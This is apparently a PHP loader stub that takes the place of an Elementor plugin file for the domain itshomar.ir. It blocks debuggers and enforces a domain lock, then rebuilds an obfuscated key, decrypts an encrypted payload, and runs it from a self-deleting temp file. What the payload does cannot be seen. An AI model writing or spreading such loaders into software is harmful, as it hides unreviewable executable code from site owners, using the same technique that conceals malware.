<?php
/**
 * Pro runtime stub.
 */

if (!extension_loaded('sodium')) { http_response_code(500); exit; }

// Anti-debug/trace (best-effort)
$forbid = ['xdebug','uopz','runkit','xhprof'];
foreach ($forbid as $ext) { if (extension_loaded($ext)) { http_response_code(500); exit; } }

$__ONLINE_ONLY = (int)('0');
if ($__ONLINE_ONLY) {
    if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') { exit; }
    $host = strtolower(trim($_SERVER['HTTP_HOST'] ?? ($_SERVER['SERVER_NAME'] ?? '')));
    if ($host==='' || preg_match('/(^|\.)(localhost|127\.0\.0\.1|::1)$/i', $host)) { exit; }
}

// domain guard
$__DOMS = json_decode('WyJpdHNob21hci5pciJd', true);
$__ERR = base64_decode('');
if (is_array($__DOMS) && count($__DOMS)>0) {
    $h = strtolower(trim($_SERVER['HTTP_HOST'] ?? ($_SERVER['SERVER_NAME'] ?? '')));
    $ok=false;
    foreach ($__DOMS as $dRaw) {
        $d = strtolower(trim($dRaw));
        if ($h===$d || ($d && substr($h, -strlen('.'.$d)) === '.'.$d)) { $ok=true; break; }
    }
    if (!$ok) { http_response_code(403); echo $__ERR; exit; }
}

// expiry guard
$__EXP = (int)('0');
if ($__EXP>0 && time() > $__EXP) { http_response_code(403); echo $__ERR; exit; }

// Recombine key
function deobf_key(array $parts, array $masks, array $rot): string {
    $buf = '';
    $n = count($parts);
    for ($i=0;$i<$n;$i++) {
        $p = base64_decode($parts[$i]);
        $m = base64_decode($masks[$i]);
        $r = (int)$rot[$i];
        $x = '';
        for ($j=0;$j<strlen($p);$j++){
            $b = ord($p[$j]);
            $b = ((($b >> $r) | (($b << (8-$r)) & 0xFF)) & 0xFF); // rotate right
            $x .= chr($b);
        }
        $buf .= ($x ^ $m);
    }
    return $buf;
}

$__PARTS = json_decode('["LAhp6wyE4zc=","c2TmpywdWwk=","fShIxjwFMc8=","8rajF3qJKAA="]', true);
$__MASKS = json_decode('["zsQqBYClnLU=","VWSv\/LmtOu0=","JAMZwagQVIE=","hgT\/XcL+ucI="]', true);
$__ROT   = json_decode('[4,6,7,7]', true);
$__KEY   = deobf_key($__PARTS, $__MASKS, $__ROT);

$__NONCE = base64_decode('ob6BqZypdIMGG3JKKiYngxkt0sChbvN5');
$__AAD   = base64_decode('eyJsaWNfbW9kZSI6ImxvY2FsIiwibGljX3VybCI6IiIsImxpY19hcHAiOiIiLCJsaWNfcHViIjoiIiwibGljX2NhY2hlIjozNjAwLCJidWlsZCI6IjA4N2Q2NDc4Y2RmNDAzNDAiLCJwYXRoIjoiL2hvbWUvaXRzaG9tYXIvaXRzaG9tYXIuaXIvc291cmNlL2VsZW1lbnRvci9tb2R1bGVzL2F0b21pYy13aWRnZXRzL2R5bmFtaWMtdGFncy9keW5hbWljLXByb3AtdHlwZS5waHAiLCJ0cyI6MTc1NjY5MzcxNCwiZXhwaXJlcyI6MCwiZG9tYWlucyI6WyJpdHNob21hci5pciJdLCJvbmxpbmUiOjAsIndwIjoxLCJhbGdvIjoieGNoYWNoYTIwcG9seTEzMDVfaWV0ZiJ9');
$__CT    = base64_decode('SJRNTkTzlCFhSQJCw8DIzDRK3Cws9VEYJBoIGy0MmOK/1+CKiX4gBltThvXKLyx95H0Z/kp9lByjnEhuVVYNY/pgQw6+gbQcNmf7hGIZ66XVSEPU7bX6ze+gjNsQkKpanfp7HBp0D2W9IJCraBTWbjN0/oj73mNa6OqLwszE7IviVCfPGd3U1gOKoqWjY6g6Wvs1LecX3UYDUK+o7qaKj1wcTKsVqJwgYxKc1YIlpin9ID/MviUBTxyUC/Weq+/UMzOCVYWLm7XUtzcJPF2sM4irMQYI7KxRF871Wx+yQUasURjeyY6HrsI4pozs/HyPLU7/PlyQeyItw9SELO7EG5yjXv7BmZdmSrb/38LN5t/BD87ngDr6lJFsfcOQCryTgHfpCTLSSmgFAJOhpOMBk03VKWLIlfHQ3TeTD23rIHjfMk9CtbUHJ7+5HcBBt5KTeBW387Ue+8TNNX3i0bHB5P5zR34y8ISOROktymJhTmTvjvrbm2As3YB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('GqpFAPQbZdEucrRTEY/kQs8mOJlQh1dfvZe0zjoQziCEi+flORwGmWl2K9n95p4GeLRWIYkc5RiD+9tSedYdCg==');
if (!sodium_crypto_sign_verify_detached($__SIG, $__AAD.$__CT, $__PK)) { http_response_code(500); exit; }

$__PT = sodium_crypto_aead_xchacha20poly1305_ietf_decrypt($__CT, $__AAD, $__NONCE, $__KEY);
if ($__PT === false) { http_response_code(500); exit; }

$__IS_WP = (int)('1');
if ($__IS_WP) {
    if (!defined('ABSPATH') && !defined('WPINC')) { /* optional exit; */ }
}

// Execute using temp include
$__tmp = sys_get_temp_dir().'/._'.sha1('087d6478cdf40340'.__FILE__.mt_rand()).'.php';
file_put_contents($__tmp, $__PT); unset($__PT);
include $__tmp;
@unlink($__tmp);
